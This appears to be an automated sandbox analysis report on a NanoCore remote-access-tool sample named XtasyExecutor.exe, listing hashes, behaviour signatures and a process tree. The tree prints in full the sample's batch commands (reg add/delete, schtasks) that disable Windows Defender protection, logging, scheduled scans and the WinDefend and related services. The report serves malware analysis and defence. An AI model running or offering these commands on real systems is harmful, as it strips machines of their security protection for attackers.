Analysis

  • max time kernel
    45s
  • max time network
    49s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241211-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    17-12-2024 18:47

General

  • Target

    XtasyExecutor.exe

  • Size

    202KB

  • MD5

    20bd0480bb862bd1d073477a87aede81

  • SHA1

    3c7c72fc3c1bec023386ac6ed14ad5cb785fe4ce

  • SHA256

    548529c38438f4a9aea915448e183f24d4ddbe793a86090075775a154d59f067

  • SHA512

    6b4817a7921bb62bbaf6835a3948a1811914f652f5f6ad86fe0b52376b6347d180488c3de4f02ba8ec962c45c5b4d6ad91eba11441989bbb42dab2863dfaa766

  • SSDEEP

    6144:gLV6Bta6dtJmakIM5E/hBp4OnvF3ZO2hdi:gLV6BtpmkJBprnvF3AWi

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Nanocore family
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Modifies Security services 2 TTPs 4 IoCs

    Modifies the startup behavior of a security service.

  • Drops file in Program Files directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 33 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 54 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\XtasyExecutor.exe
    "C:\Users\Admin\AppData\Local\Temp\XtasyExecutor.exe"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4764
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\b14a26d2.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4124
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1968
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3824
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3952
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4060
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4016
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:4212
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:4032
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:2192
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:5056
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:4956
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3680
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1320
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4348
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3892
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3504
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4604
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3456
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1112
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
        3⤵
        • System Location Discovery: System Language Discovery
        PID:520
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
        3⤵
        • System Location Discovery: System Language Discovery
        PID:460
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2232
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5008
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3476
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        PID:1116
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        PID:2556
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        PID:4804
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
        3⤵
        • Modifies Security services
        • System Location Discovery: System Language Discovery
        PID:5076
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
        3⤵
        • Modifies Security services
        • System Location Discovery: System Language Discovery
        PID:2512
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
        3⤵
        • Modifies Security services
        • System Location Discovery: System Language Discovery
        PID:4784
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
        3⤵
        • Modifies Security services
        • System Location Discovery: System Language Discovery
        PID:1316
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
        3⤵
        • Modifies security service
        • System Location Discovery: System Language Discovery
        PID:4316
  • C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe
    "C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe" -ServerName:SecHealthUI.AppXep4x2tbtjws1v9qqs0rmb3hxykvkpqtn.mca
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:3928
  • C:\Windows\System32\SecurityHealthHost.exe
    C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
    1⤵
      PID:2284
    • C:\Windows\System32\SecurityHealthHost.exe
      C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
      1⤵
        PID:4016
      • C:\Windows\System32\SecurityHealthHost.exe
        C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
        1⤵
          PID:5008
        • C:\Windows\System32\SecurityHealthHost.exe
          C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
          1⤵
            PID:1700

          Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\b14a26d2.bat

            Filesize

            3KB

            MD5

            cdc46cec8ca72ad797cdb13ebc95ad2d

            SHA1

            ae3438cb29f03720048ff4fdf8805c8eebf86384

            SHA256

            74e416574a2f25e00e57f438e63deadcb69640bb7739cc7e32adf6020fc687b1

            SHA512

            c66b56a5416b811ecaa9a6322fbf5825d34111d1b84a7f1659681e4e875ffcfef2425ff9cc7bfa2634a07ed974477d4894c2445845ec7fd7ec7cf7da00ba0a7b

          • memory/4764-0-0x0000000075362000-0x0000000075363000-memory.dmp

            Filesize

            4KB

          • memory/4764-1-0x0000000075360000-0x0000000075911000-memory.dmp

            Filesize

            5.7MB

          • memory/4764-2-0x0000000075360000-0x0000000075911000-memory.dmp

            Filesize

            5.7MB

          • memory/4764-4-0x0000000075360000-0x0000000075911000-memory.dmp

            Filesize

            5.7MB

          • memory/4764-8-0x0000000075362000-0x0000000075363000-memory.dmp

            Filesize

            4KB

          • memory/4764-9-0x0000000075360000-0x0000000075911000-memory.dmp

            Filesize

            5.7MB

          • memory/4764-10-0x0000000075360000-0x0000000075911000-memory.dmp

            Filesize

            5.7MB

          • memory/4764-11-0x0000000075360000-0x0000000075911000-memory.dmp

            Filesize

            5.7MB